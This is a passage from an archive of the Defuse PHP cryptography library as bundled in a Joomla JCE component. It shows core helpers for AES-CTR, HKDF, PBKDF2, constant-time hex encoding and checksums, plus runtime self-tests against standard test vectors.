     * @return string
     */
    public function getEncryptionKey()
    {
        return $this->ekey;
    }

    /**
     * Constructor for DerivedKeys.
     *
     * @param string $akey
     * @param string $ekey
     */
    public function __construct($akey, $ekey)
    {
        $this->akey = $akey;
        $this->ekey = $ekey;
    }
}
com_jce/vendor/Defuse/Crypto/Core.php000060400000035060152455305310013537 0ustar00<?php

namespace Defuse\Crypto;

use Defuse\Crypto\Exception as Ex;

final class Core
{
    const HEADER_VERSION_SIZE               = 4;
    const MINIMUM_CIPHERTEXT_SIZE           = 84;

    const CURRENT_VERSION                   = "\xDE\xF5\x02\x00";

    const CIPHER_METHOD                     = 'aes-256-ctr';
    const BLOCK_BYTE_SIZE                   = 16;
    const KEY_BYTE_SIZE                     = 32;
    const SALT_BYTE_SIZE                    = 32;
    const MAC_BYTE_SIZE                     = 32;
    const HASH_FUNCTION_NAME                = 'sha256';
    const ENCRYPTION_INFO_STRING            = 'DefusePHP|V2|KeyForEncryption';
    const AUTHENTICATION_INFO_STRING        = 'DefusePHP|V2|KeyForAuthentication';
    const BUFFER_BYTE_SIZE                  = 1048576;

    const LEGACY_CIPHER_METHOD              = 'aes-128-cbc';
    const LEGACY_BLOCK_BYTE_SIZE            = 16;
    const LEGACY_KEY_BYTE_SIZE              = 16;
    const LEGACY_HASH_FUNCTION_NAME         = 'sha256';
    const LEGACY_MAC_BYTE_SIZE              = 32;
    const LEGACY_ENCRYPTION_INFO_STRING     = 'DefusePHP|KeyForEncryption';
    const LEGACY_AUTHENTICATION_INFO_STRING = 'DefusePHP|KeyForAuthentication';

    /*
     * V2.0 Format: VERSION (4 bytes) || SALT (32 bytes) || IV (16 bytes) ||
     *              CIPHERTEXT (varies) || HMAC (32 bytes)
     *
     * V1.0 Format: HMAC (32 bytes) || IV (16 bytes) || CIPHERTEXT (varies).
     */

    /**
     * Adds an integer to a block-sized counter.
     *
     * @param string $ctr
     * @param int    $inc
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public static function incrementCounter($ctr, $inc)
    {
        if (Core::ourStrlen($ctr) !== Core::BLOCK_BYTE_SIZE) {
            throw new Ex\EnvironmentIsBrokenException(
              'Trying to increment a nonce of the wrong size.'
            );
        }

        if (! \is_int($inc)) {
            throw new Ex\EnvironmentIsBrokenException(
              'Trying to increment nonce by a non-integer.'
            );
        }

        if ($inc < 0) {
            throw new Ex\EnvironmentIsBrokenException(
              'Trying to increment nonce by a negative amount.'
            );
        }

        if ($inc > PHP_INT_MAX - 255) {
            throw new Ex\EnvironmentIsBrokenException(
              'Integer overflow may occur.'
            );
        }

        /*
         * We start at the rightmost byte (big-endian)
         * So, too, does OpenSSL: http://stackoverflow.com/a/3146214/2224584
         */
        for ($i = Core::BLOCK_BYTE_SIZE - 1; $i >= 0; --$i) {
            $sum = \ord($ctr[$i]) + $inc;

            /* Detect integer overflow and fail. */
            if (! \is_int($sum)) {
                throw new Ex\EnvironmentIsBrokenException(
                  'Integer overflow in CTR mode nonce increment.'
                );
            }

            $ctr[$i] = \pack('C', $sum & 0xFF);
            $inc     = $sum >> 8;
        }
        return $ctr;
    }

    /**
     * Returns a random byte string of the specified length.
     *
     * @param int $octets
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public static function secureRandom($octets)
    {
        self::ensureFunctionExists('random_bytes');
        try {
            return \random_bytes($octets);
        } catch (\Exception $ex) {
            throw new Ex\EnvironmentIsBrokenException(
                'Your system does not have a secure random number generator.'
            );
        }
    }

    /**
     * Computes the HKDF key derivation function specified in
     * http://tools.ietf.org/html/rfc5869.
     *
     * @param string $hash   Hash Function
     * @param string $ikm    Initial Keying Material
     * @param int    $length How many bytes?
     * @param string $info   What sort of key are we deriving?
     * @param string $salt
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @psalm-suppress UndefinedFunction - We're checking if the function exists first.
     *
     * @return string
     */
    public static function HKDF($hash, $ikm, $length, $info = '', $salt = null)
    {
        static $nativeHKDF = null;
        if ($nativeHKDF === null) {
            $nativeHKDF = \is_callable('\\hash_hkdf');
        }
        if ($nativeHKDF) {
            return \hash_hkdf($hash, $ikm, $length, $info, $salt);
        }

        $digest_length = Core::ourStrlen(\hash_hmac($hash, '', '', true));

        // Sanity-check the desired output length.
        if (empty($length) || ! \is_int($length) ||
            $length < 0 || $length > 255 * $digest_length) {
            throw new Ex\EnvironmentIsBrokenException(
                'Bad output length requested of HKDF.'
            );
        }

        // "if [salt] not provided, is set to a string of HashLen zeroes."
        if (\is_null($salt)) {
            $salt = \str_repeat("\x00", $digest_length);
        }

        // HKDF-Extract:
        // PRK = HMAC-Hash(salt, IKM)
        // The salt is the HMAC key.
        $prk = \hash_hmac($hash, $ikm, $salt, true);

        // HKDF-Expand:

        // This check is useless, but it serves as a reminder to the spec.
        if (Core::ourStrlen($prk) < $digest_length) {
            throw new Ex\EnvironmentIsBrokenException();
        }

        // T(0) = ''
        $t          = '';
        $last_block = '';
        for ($block_index = 1; Core::ourStrlen($t) < $length; ++$block_index) {
            // T(i) = HMAC-Hash(PRK, T(i-1) | info | 0x??)
            $last_block = \hash_hmac(
                $hash,
                $last_block . $info . \chr($block_index),
                $prk,
                true
            );
            // T = T(1) | T(2) | T(3) | ... | T(N)
            $t .= $last_block;
        }

        // ORM = first L octets of T
        /** @var string $orm */
        $orm = Core::ourSubstr($t, 0, $length);
        if (!\is_string($orm)) {
            throw new Ex\EnvironmentIsBrokenException();
        }
        return $orm;
    }

    /**
     * Checks if two equal-length strings are the same without leaking
     * information through side channels.
     *
     * @param string $expected
     * @param string $given
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return bool
     */
    public static function hashEquals($expected, $given)
    {
        static $native = null;
        if ($native === null) {
            $native = \function_exists('hash_equals');
        }
        if ($native) {
            return \hash_equals($expected, $given);
        }

        // We can't just compare the strings with '==', since it would make
        // timing attacks possible. We could use the XOR-OR constant-time
        // comparison algorithm, but that may not be a reliable defense in an
        // interpreted language. So we use the approach of HMACing both strings
        // with a random key and comparing the HMACs.

        // We're not attempting to make variable-length string comparison
        // secure, as that's very difficult. Make sure the strings are the same
        // length.
        if (Core::ourStrlen($expected) !== Core::ourStrlen($given)) {
            throw new Ex\EnvironmentIsBrokenException();
        }

        $blind           = Core::secureRandom(32);
        $message_compare = \hash_hmac(Core::HASH_FUNCTION_NAME, $given, $blind);
        $correct_compare = \hash_hmac(Core::HASH_FUNCTION_NAME, $expected, $blind);
        return $correct_compare === $message_compare;
    }
    /**
     * Throws an exception if the constant doesn't exist.
     *
     * @param string $name
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     */
    public static function ensureConstantExists($name)
    {
        if (! \defined($name)) {
            throw new Ex\EnvironmentIsBrokenException();
        }
    }

    /**
     * Throws an exception if the function doesn't exist.
     *
     * @param string $name
     * @return void
     *
     * @throws Ex\EnvironmentIsBrokenException
     */
    public static function ensureFunctionExists($name)
    {
        if (! \function_exists($name)) {
            throw new Ex\EnvironmentIsBrokenException();
        }
    }

    /*
     * We need these strlen() and substr() functions because when
     * 'mbstring.func_overload' is set in php.ini, the standard strlen() and
     * substr() are replaced by mb_strlen() and mb_substr().
     */

    /**
     * Computes the length of a string in bytes.
     *
     * @param string $str
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return int
     */
    public static function ourStrlen($str)
    {
        static $exists = null;
        if ($exists === null) {
            $exists = \function_exists('mb_strlen');
        }
        if ($exists) {
            $length = \mb_strlen($str, '8bit');
            if ($length === false) {
                throw new Ex\EnvironmentIsBrokenException();
            }
            return $length;
        } else {
            return \strlen($str);
        }
    }

    /**
     * Behaves roughly like the function substr() in PHP 7 does.
     *
     * @param string $str
     * @param int    $start
     * @param int    $length
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string|bool
     */
    public static function ourSubstr($str, $start, $length = null)
    {
        static $exists = null;
        if ($exists === null) {
            $exists = \function_exists('mb_substr');
        }

        if ($exists) {
            // mb_substr($str, 0, NULL, '8bit') returns an empty string on PHP
            // 5.3, so we have to find the length ourselves.
            if (! isset($length)) {
                if ($start >= 0) {
                    $length = Core::ourStrlen($str) - $start;
                } else {
                    $length = -$start;
                }
            }

            // This is required to make mb_substr behavior identical to substr.
            // Without this, mb_substr() would return false, contra to what the
            // PHP documentation says (it doesn't say it can return false.)
            if ($start === Core::ourStrlen($str) && $length === 0) {
                return '';
            }

            if ($start > Core::ourStrlen($str)) {
                return false;
            }

            $substr = \mb_substr($str, $start, $length, '8bit');
            if (Core::ourStrlen($substr) !== $length) {
                throw new Ex\EnvironmentIsBrokenException(
                    'Your version of PHP has bug #66797. Its implementation of
                    mb_substr() is incorrect. See the details here:
                    https://bugs.php.net/bug.php?id=66797'
                );
            }
            return $substr;
        }

        // Unlike mb_substr(), substr() doesn't accept NULL for length
        if (isset($length)) {
            return \substr($str, $start, $length);
        } else {
            return \substr($str, $start);
        }
    }

    /**
     * Computes the PBKDF2 password-based key derivation function.
     *
     * The PBKDF2 function is defined in RFC 2898. Test vectors can be found in
     * RFC 6070. This implementation of PBKDF2 was originally created by Taylor
     * Hornby, with improvements from http://www.variations-of-shadow.com/.
     *
     * @param string $algorithm  The hash algorithm to use. Recommended: SHA256
     * @param string $password   The password.
     * @param string $salt       A salt that is unique to the password.
     * @param int    $count      Iteration count. Higher is better, but slower. Recommended: At least 1000.
     * @param int    $key_length The length of the derived key in bytes.
     * @param bool   $raw_output If true, the key is returned in raw binary format. Hex encoded otherwise.
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string A $key_length-byte key derived from the password and salt.
     */
    public static function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false)
    {
        // Type checks:
        if (! \is_string($algorithm)) {
            throw new \Exception(
                'pbkdf2(): algorithm must be a string'
            );
        }
        if (! \is_string($password)) {
            throw new \Exception(
                'pbkdf2(): password must be a string'
            );
        }
        if (! \is_string($salt)) {
            throw new \Exception(
                'pbkdf2(): salt must be a string'
            );
        }
        // Coerce strings to integers with no information loss or overflow
        $count += 0;
        $key_length += 0;

        $algorithm = \strtolower($algorithm);
        if (! \in_array($algorithm, \hash_algos(), true)) {
            throw new Ex\EnvironmentIsBrokenException(
                'Invalid or unsupported hash algorithm.'
            );
        }

        // Whitelist, or we could end up with people using CRC32.
        $ok_algorithms = [
            'sha1', 'sha224', 'sha256', 'sha384', 'sha512',
            'ripemd160', 'ripemd256', 'ripemd320', 'whirlpool',
        ];
        if (! \in_array($algorithm, $ok_algorithms, true)) {
            throw new Ex\EnvironmentIsBrokenException(
                'Algorithm is not a secure cryptographic hash function.'
            );
        }

        if ($count <= 0 || $key_length <= 0) {
            throw new Ex\EnvironmentIsBrokenException(
                'Invalid PBKDF2 parameters.'
            );
        }

        if (\function_exists('hash_pbkdf2')) {
            // The output length is in NIBBLES (4-bits) if $raw_output is false!
            if (! $raw_output) {
                $key_length = $key_length * 2;
            }
            return \hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output);
        }

        $hash_length = Core::ourStrlen(\hash($algorithm, '', true));
        $block_count = \ceil($key_length / $hash_length);

        $output = '';
        for ($i = 1; $i <= $block_count; $i++) {
            // $i encoded as 4 bytes, big endian.
            $last = $salt . \pack('N', $i);
            // first iteration
            $last = $xorsum = \hash_hmac($algorithm, $last, $password, true);
            // perform the other $count - 1 iterations
            for ($j = 1; $j < $count; $j++) {
                $xorsum ^= ($last = \hash_hmac($algorithm, $last, $password, true));
            }
            $output .= $xorsum;
        }

        if ($raw_output) {
            return (string) Core::ourSubstr($output, 0, $key_length);
        } else {
            return Encoding::binToHex((string) Core::ourSubstr($output, 0, $key_length));
        }
    }
}
com_jce/vendor/Defuse/Crypto/Encoding.php000060400000022130152455305310014367 0ustar00<?php

namespace Defuse\Crypto;

use Defuse\Crypto\Exception as Ex;

final class Encoding
{
    const CHECKSUM_BYTE_SIZE     = 32;
    const CHECKSUM_HASH_ALGO     = 'sha256';
    const SERIALIZE_HEADER_BYTES = 4;

    /**
     * Converts a byte string to a hexadecimal string without leaking
     * information through side channels.
     *
     * @param string $byte_string
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public static function binToHex($byte_string)
    {
        $hex = '';
        $len = Core::ourStrlen($byte_string);
        for ($i = 0; $i < $len; ++$i) {
            $c = \ord($byte_string[$i]) & 0xf;
            $b = \ord($byte_string[$i]) >> 4;
            $hex .= \pack(
                'CC',
                87 + $b + ((($b - 10) >> 8) & ~38),
                87 + $c + ((($c - 10) >> 8) & ~38)
            );
        }
        return $hex;
    }

    /**
     * Converts a hexadecimal string into a byte string without leaking
     * information through side channels.
     *
     * @param string $hex_string
     *
     * @throws Ex\BadFormatException
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public static function hexToBin($hex_string)
    {
        $hex_pos = 0;
        $bin     = '';
        $hex_len = Core::ourStrlen($hex_string);
        $state   = 0;
        $c_acc   = 0;

        while ($hex_pos < $hex_len) {
            $c        = \ord($hex_string[$hex_pos]);
            $c_num    = $c ^ 48;
            $c_num0   = ($c_num - 10) >> 8;
            $c_alpha  = ($c & ~32) - 55;
            $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8;
            if (($c_num0 | $c_alpha0) === 0) {
                throw new Ex\BadFormatException(
                    'Encoding::hexToBin() input is not a hex string.'
                );
            }
            $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0);
            if ($state === 0) {
                $c_acc = $c_val * 16;
            } else {
                $bin .= \pack('C', $c_acc | $c_val);
            }
            $state ^= 1;
            ++$hex_pos;
        }
        return $bin;
    }
    
    /**
     * Remove trialing whitespace without table look-ups or branches.
     *
     * Calling this function may leak the length of the string as well as the
     * number of trailing whitespace characters through side-channels.
     *
     * @param string $string
     * @return string
     */
    public static function trimTrailingWhitespace($string = '')
    {
        $length = Core::ourStrlen($string);
        if ($length < 1) {
            return '';
        }
        do {
            $prevLength = $length;
            $last = $length - 1;
            $chr = \ord($string[$last]);

            /* Null Byte (0x00), a.k.a. \0 */
            // if ($chr === 0x00) $length -= 1;
            $sub = (($chr - 1) >> 8 ) & 1;
            $length -= $sub;
            $last -= $sub;

            /* Horizontal Tab (0x09) a.k.a. \t */
            $chr = \ord($string[$last]);
            // if ($chr === 0x09) $length -= 1;
            $sub = (((0x08 - $chr) & ($chr - 0x0a)) >> 8) & 1;
            $length -= $sub;
            $last -= $sub;

            /* New Line (0x0a), a.k.a. \n */
            $chr = \ord($string[$last]);
            // if ($chr === 0x0a) $length -= 1;
            $sub = (((0x09 - $chr) & ($chr - 0x0b)) >> 8) & 1;
            $length -= $sub;
            $last -= $sub;

            /* Carriage Return (0x0D), a.k.a. \r */
            $chr = \ord($string[$last]);
            // if ($chr === 0x0d) $length -= 1;
            $sub = (((0x0c - $chr) & ($chr - 0x0e)) >> 8) & 1;
            $length -= $sub;
            $last -= $sub;

            /* Space */
            $chr = \ord($string[$last]);
            // if ($chr === 0x20) $length -= 1;
            $sub = (((0x1f - $chr) & ($chr - 0x21)) >> 8) & 1;
            $length -= $sub;
        } while ($prevLength !== $length && $length > 0);
        return (string) Core::ourSubstr($string, 0, $length);
    }

    /*
     * SECURITY NOTE ON APPLYING CHECKSUMS TO SECRETS:
     *
     *      The checksum introduces a potential security weakness. For example,
     *      suppose we apply a checksum to a key, and that an adversary has an
     *      exploit against the process containing the key, such that they can
     *      overwrite an arbitrary byte of memory and then cause the checksum to
     *      be verified and learn the result.
     *
     *      In this scenario, the adversary can extract the key one byte at
     *      a time by overwriting it with their guess of its value and then
     *      asking if the checksum matches. If it does, their guess was right.
     *      This kind of attack may be more easy to implement and more reliable
     *      than a remote code execution attack.
     *
     *      This attack also applies to authenticated encryption as a whole, in
     *      the situation where the adversary can overwrite a byte of the key
     *      and then cause a valid ciphertext to be decrypted, and then
     *      determine whether the MAC check passed or failed.
     *
     *      By using the full SHA256 hash instead of truncating it, I'm ensuring
     *      that both ways of going about the attack are equivalently difficult.
     *      A shorter checksum of say 32 bits might be more useful to the
     *      adversary as an oracle in case their writes are coarser grained.
     *
     *      Because the scenario assumes a serious vulnerability, we don't try
     *      to prevent attacks of this style.
     */

    /**
     * INTERNAL USE ONLY: Applies a version header, applies a checksum, and
     * then encodes a byte string into a range of printable ASCII characters.
     *
     * @param string $header
     * @param string $bytes
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public static function saveBytesToChecksummedAsciiSafeString($header, $bytes)
    {
        // Headers must be a constant length to prevent one type's header from
        // being a prefix of another type's header, leading to ambiguity.
        if (Core::ourStrlen($header) !== self::SERIALIZE_HEADER_BYTES) {
            throw new Ex\EnvironmentIsBrokenException(
                'Header must be ' . self::SERIALIZE_HEADER_BYTES . ' bytes.'
            );
        }

        return Encoding::binToHex(
            $header .
            $bytes .
            \hash(
                self::CHECKSUM_HASH_ALGO,
                $header . $bytes,
                true
            )
        );
    }

    /**
     * INTERNAL USE ONLY: Decodes, verifies the header and checksum, and returns
     * the encoded byte string.
     *
     * @param string $expected_header
     * @param string $string
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\BadFormatException
     *
     * @return string
     */
    public static function loadBytesFromChecksummedAsciiSafeString($expected_header, $string)
    {
        // Headers must be a constant length to prevent one type's header from
        // being a prefix of another type's header, leading to ambiguity.
        if (Core::ourStrlen($expected_header) !== self::SERIALIZE_HEADER_BYTES) {
            throw new Ex\EnvironmentIsBrokenException(
                'Header must be 4 bytes.'
            );
        }

        /* If you get an exception here when attempting to load from a file, first pass your
           key to Encoding::trimTrailingWhitespace() to remove newline characters, etc.      */
        $bytes = Encoding::hexToBin($string);

        /* Make sure we have enough bytes to get the version header and checksum. */
        if (Core::ourStrlen($bytes) < self::SERIALIZE_HEADER_BYTES + self::CHECKSUM_BYTE_SIZE) {
            throw new Ex\BadFormatException(
                'Encoded data is shorter than expected.'
            );
        }

        /* Grab the version header. */
        $actual_header = (string) Core::ourSubstr($bytes, 0, self::SERIALIZE_HEADER_BYTES);

        if ($actual_header !== $expected_header) {
            throw new Ex\BadFormatException(
                'Invalid header.'
            );
        }

        /* Grab the bytes that are part of the checksum. */
        $checked_bytes = (string) Core::ourSubstr(
            $bytes,
            0,
            Core::ourStrlen($bytes) - self::CHECKSUM_BYTE_SIZE
        );

        /* Grab the included checksum. */
        $checksum_a = (string) Core::ourSubstr(
            $bytes,
            Core::ourStrlen($bytes) - self::CHECKSUM_BYTE_SIZE,
            self::CHECKSUM_BYTE_SIZE
        );

        /* Re-compute the checksum. */
        $checksum_b = \hash(self::CHECKSUM_HASH_ALGO, $checked_bytes, true);

        /* Check if the checksum matches. */
        if (! Core::hashEquals($checksum_a, $checksum_b)) {
            throw new Ex\BadFormatException(
                "Data is corrupted, the checksum doesn't match"
            );
        }

        return (string) Core::ourSubstr(
            $bytes,
            self::SERIALIZE_HEADER_BYTES,
            Core::ourStrlen($bytes) - self::SERIALIZE_HEADER_BYTES - self::CHECKSUM_BYTE_SIZE
        );
    }
}
com_jce/vendor/Defuse/Crypto/KeyOrPassword.php000060400000007571152455305310015431 0ustar00<?php

namespace Defuse\Crypto;

use Defuse\Crypto\Exception as Ex;

final class KeyOrPassword
{
    const PBKDF2_ITERATIONS    = 100000;
    const SECRET_TYPE_KEY      = 1;
    const SECRET_TYPE_PASSWORD = 2;

    /**
     * @var int
     */
    private $secret_type = 0;

    /**
     * @var Key|string
     */
    private $secret;

    /**
     * Initializes an instance of KeyOrPassword from a key.
     *
     * @param Key $key
     *
     * @return KeyOrPassword
     */
    public static function createFromKey(Key $key)
    {
        return new KeyOrPassword(self::SECRET_TYPE_KEY, $key);
    }

    /**
     * Initializes an instance of KeyOrPassword from a password.
     *
     * @param string $password
     *
     * @return KeyOrPassword
     */
    public static function createFromPassword($password)
    {
        return new KeyOrPassword(self::SECRET_TYPE_PASSWORD, $password);
    }

    /**
     * Derives authentication and encryption keys from the secret, using a slow
     * key derivation function if the secret is a password.
     *
     * @param string $salt
     *
     * @throws Ex\CryptoException
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return DerivedKeys
     */
    public function deriveKeys($salt)
    {
        if (Core::ourStrlen($salt) !== Core::SALT_BYTE_SIZE) {
            throw new Ex\EnvironmentIsBrokenException('Bad salt.');
        }

        if ($this->secret_type === self::SECRET_TYPE_KEY) {
            if (!($this->secret instanceof Key)) {
                throw new Ex\CryptoException('Expected a Key object');
            }
            $akey = Core::HKDF(
                Core::HASH_FUNCTION_NAME,
                $this->secret->getRawBytes(),
                Core::KEY_BYTE_SIZE,
                Core::AUTHENTICATION_INFO_STRING,
                $salt
            );
            $ekey = Core::HKDF(
                Core::HASH_FUNCTION_NAME,
                $this->secret->getRawBytes(),
                Core::KEY_BYTE_SIZE,
                Core::ENCRYPTION_INFO_STRING,
                $salt
            );
            return new DerivedKeys($akey, $ekey);
        } elseif ($this->secret_type === self::SECRET_TYPE_PASSWORD) {
            if (!\is_string($this->secret)) {
                throw new Ex\CryptoException('Expected a string');
            }
            /* Our PBKDF2 polyfill is vulnerable to a DoS attack documented in
             * GitHub issue #230. The fix is to pre-hash the password to ensure
             * it is short. We do the prehashing here instead of in pbkdf2() so
             * that pbkdf2() still computes the function as defined by the
             * standard. */
            $prehash = \hash(Core::HASH_FUNCTION_NAME, $this->secret, true);
            $prekey = Core::pbkdf2(
                Core::HASH_FUNCTION_NAME,
                $prehash,
                $salt,
                self::PBKDF2_ITERATIONS,
                Core::KEY_BYTE_SIZE,
                true
            );
            $akey = Core::HKDF(
                Core::HASH_FUNCTION_NAME,
                $prekey,
                Core::KEY_BYTE_SIZE,
                Core::AUTHENTICATION_INFO_STRING,
                $salt
            );
            /* Note the cryptographic re-use of $salt here. */
            $ekey = Core::HKDF(
                Core::HASH_FUNCTION_NAME,
                $prekey,
                Core::KEY_BYTE_SIZE,
                Core::ENCRYPTION_INFO_STRING,
                $salt
            );
            return new DerivedKeys($akey, $ekey);
        } else {
            throw new Ex\EnvironmentIsBrokenException('Bad secret type.');
        }
    }

    /**
     * Constructor for KeyOrPassword.
     *
     * @param int   $secret_type
     * @param mixed $secret      (either a Key or a password string)
     */
    private function __construct($secret_type, $secret)
    {
        $this->secret_type = $secret_type;
        $this->secret = $secret;
    }
}
com_jce/vendor/Defuse/Crypto/RuntimeTests.php000060400000021454152455305310015317 0ustar00<?php

namespace Defuse\Crypto;

use Defuse\Crypto\Exception as Ex;

/*
 * We're using static class inheritance to get access to protected methods
 * inside Crypto. To make it easy to know where the method we're calling can be
 * found, within this file, prefix calls with `Crypto::` or `RuntimeTests::`,
 * and don't use `self::`.
 */

class RuntimeTests extends Crypto
{
    /**
     * Runs the runtime tests.
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @return void
     */
    public static function runtimeTest()
    {
        // 0: Tests haven't been run yet.
        // 1: Tests have passed.
        // 2: Tests are running right now.
        // 3: Tests have failed.
        static $test_state = 0;

        if ($test_state === 1 || $test_state === 2) {
            return;
        }

        if ($test_state === 3) {
            /* If an intermittent problem caused a test to fail previously, we
             * want that to be indicated to the user with every call to this
             * library. This way, if the user first does something they really
             * don't care about, and just ignores all exceptions, they won't get
             * screwed when they then start to use the library for something
             * they do care about. */
            throw new Ex\EnvironmentIsBrokenException('Tests failed previously.');
        }

        try {
            $test_state = 2;

            Core::ensureFunctionExists('openssl_get_cipher_methods');
            if (\in_array(Core::CIPHER_METHOD, \openssl_get_cipher_methods()) === false) {
                throw new Ex\EnvironmentIsBrokenException(
                    'Cipher method not supported. This is normally caused by an outdated ' .
                    'version of OpenSSL (and/or OpenSSL compiled for FIPS compliance). ' .
                    'Please upgrade to a newer version of OpenSSL that supports ' .
                    Core::CIPHER_METHOD . ' to use this library.'
                );
            }

            RuntimeTests::AESTestVector();
            RuntimeTests::HMACTestVector();
            RuntimeTests::HKDFTestVector();

            RuntimeTests::testEncryptDecrypt();
            if (Core::ourStrlen(Key::createNewRandomKey()->getRawBytes()) != Core::KEY_BYTE_SIZE) {
                throw new Ex\EnvironmentIsBrokenException();
            }

            if (Core::ENCRYPTION_INFO_STRING == Core::AUTHENTICATION_INFO_STRING) {
                throw new Ex\EnvironmentIsBrokenException();
            }
        } catch (Ex\EnvironmentIsBrokenException $ex) {
            // Do this, otherwise it will stay in the "tests are running" state.
            $test_state = 3;
            throw $ex;
        }

        // Change this to '0' make the tests always re-run (for benchmarking).
        $test_state = 1;
    }

    /**
     * High-level tests of Crypto operations.
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @return void
     */
    private static function testEncryptDecrypt()
    {
        $key  = Key::createNewRandomKey();
        $data = "EnCrYpT EvErYThInG\x00\x00";

        // Make sure encrypting then decrypting doesn't change the message.
        $ciphertext = Crypto::encrypt($data, $key, true);
        try {
            $decrypted = Crypto::decrypt($ciphertext, $key, true);
        } catch (Ex\WrongKeyOrModifiedCiphertextException $ex) {
            // It's important to catch this and change it into a
            // Ex\EnvironmentIsBrokenException, otherwise a test failure could trick
            // the user into thinking it's just an invalid ciphertext!
            throw new Ex\EnvironmentIsBrokenException();
        }
        if ($decrypted !== $data) {
            throw new Ex\EnvironmentIsBrokenException();
        }

        // Modifying the ciphertext: Appending a string.
        try {
            Crypto::decrypt($ciphertext . 'a', $key, true);
            throw new Ex\EnvironmentIsBrokenException();
        } catch (Ex\WrongKeyOrModifiedCiphertextException $e) { /* expected */
        }

        // Modifying the ciphertext: Changing an HMAC byte.
        $indices_to_change = [
            0, // The header.
            Core::HEADER_VERSION_SIZE + 1, // the salt
            Core::HEADER_VERSION_SIZE + Core::SALT_BYTE_SIZE + 1, // the IV
            Core::HEADER_VERSION_SIZE + Core::SALT_BYTE_SIZE + Core::BLOCK_BYTE_SIZE + 1, // the ciphertext
        ];

        foreach ($indices_to_change as $index) {
            try {
                $ciphertext[$index] = \chr((\ord($ciphertext[$index]) + 1) % 256);
                Crypto::decrypt($ciphertext, $key, true);
                throw new Ex\EnvironmentIsBrokenException();
            } catch (Ex\WrongKeyOrModifiedCiphertextException $e) { /* expected */
            }
        }

        // Decrypting with the wrong key.
        $key        = Key::createNewRandomKey();
        $data       = 'abcdef';
        $ciphertext = Crypto::encrypt($data, $key, true);
        $wrong_key  = Key::createNewRandomKey();
        try {
            Crypto::decrypt($ciphertext, $wrong_key, true);
            throw new Ex\EnvironmentIsBrokenException();
        } catch (Ex\WrongKeyOrModifiedCiphertextException $e) { /* expected */
        }

        // Ciphertext too small.
        $key        = Key::createNewRandomKey();
        $ciphertext = \str_repeat('A', Core::MINIMUM_CIPHERTEXT_SIZE - 1);
        try {
            Crypto::decrypt($ciphertext, $key, true);
            throw new Ex\EnvironmentIsBrokenException();
        } catch (Ex\WrongKeyOrModifiedCiphertextException $e) { /* expected */
        }
    }

    /**
     * Test HKDF against test vectors.
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @return void
     */
    private static function HKDFTestVector()
    {
        // HKDF test vectors from RFC 5869

        // Test Case 1
        $ikm    = \str_repeat("\x0b", 22);
        $salt   = Encoding::hexToBin('000102030405060708090a0b0c');
        $info   = Encoding::hexToBin('f0f1f2f3f4f5f6f7f8f9');
        $length = 42;
        $okm    = Encoding::hexToBin(
            '3cb25f25faacd57a90434f64d0362f2a' .
            '2d2d0a90cf1a5a4c5db02d56ecc4c5bf' .
            '34007208d5b887185865'
        );
        $computed_okm = Core::HKDF('sha256', $ikm, $length, $info, $salt);
        if ($computed_okm !== $okm) {
            throw new Ex\EnvironmentIsBrokenException();
        }

        // Test Case 7
        $ikm    = \str_repeat("\x0c", 22);
        $length = 42;
        $okm    = Encoding::hexToBin(
            '2c91117204d745f3500d636a62f64f0a' .
            'b3bae548aa53d423b0d1f27ebba6f5e5' .
            '673a081d70cce7acfc48'
        );
        $computed_okm = Core::HKDF('sha1', $ikm, $length, '', null);
        if ($computed_okm !== $okm) {
            throw new Ex\EnvironmentIsBrokenException();
        }
    }

    /**
     * Test HMAC against test vectors.
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @return void
     */
    private static function HMACTestVector()
    {
        // HMAC test vector From RFC 4231 (Test Case 1)
        $key     = \str_repeat("\x0b", 20);
        $data    = 'Hi There';
        $correct = 'b0344c61d8db38535ca8afceaf0bf12b881dc200c9833da726e9376c2e32cff7';
        if (\hash_hmac(Core::HASH_FUNCTION_NAME, $data, $key) !== $correct) {
            throw new Ex\EnvironmentIsBrokenException();
        }
    }

    /**
     * Test AES against test vectors.
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @return void
     */
    private static function AESTestVector()
    {
        // AES CTR mode test vector from NIST SP 800-38A
        $key = Encoding::hexToBin(
            '603deb1015ca71be2b73aef0857d7781' .
            '1f352c073b6108d72d9810a30914dff4'
        );
        $iv        = Encoding::hexToBin('f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff');
        $plaintext = Encoding::hexToBin(
            '6bc1bee22e409f96e93d7e117393172a' .
            'ae2d8a571e03ac9c9eb76fac45af8e51' .
            '30c81c46a35ce411e5fbc1191a0a52ef' .
            'f69f2445df4f9b17ad2b417be66c3710'
        );
        $ciphertext = Encoding::hexToBin(
            '601ec313775789a5b7a7f504bbf3d228' .
            'f443e3ca4d62b59aca84e990cacaf5c5' .
            '2b0930daa23de94ce87017ba2d84988d' .
            'dfc9c58db67aada613c2dd08457941a6'
        );

        $computed_ciphertext = Crypto::plainEncrypt($plaintext, $key, $iv);
        if ($computed_ciphertext !== $ciphertext) {
            echo \str_repeat("\n", 30);
            echo \bin2hex($computed_ciphertext);
            echo "\n---\n";
            echo \bin2hex($ciphertext);
            echo \str_repeat("\n", 30);
            throw new Ex\EnvironmentIsBrokenException();
        }

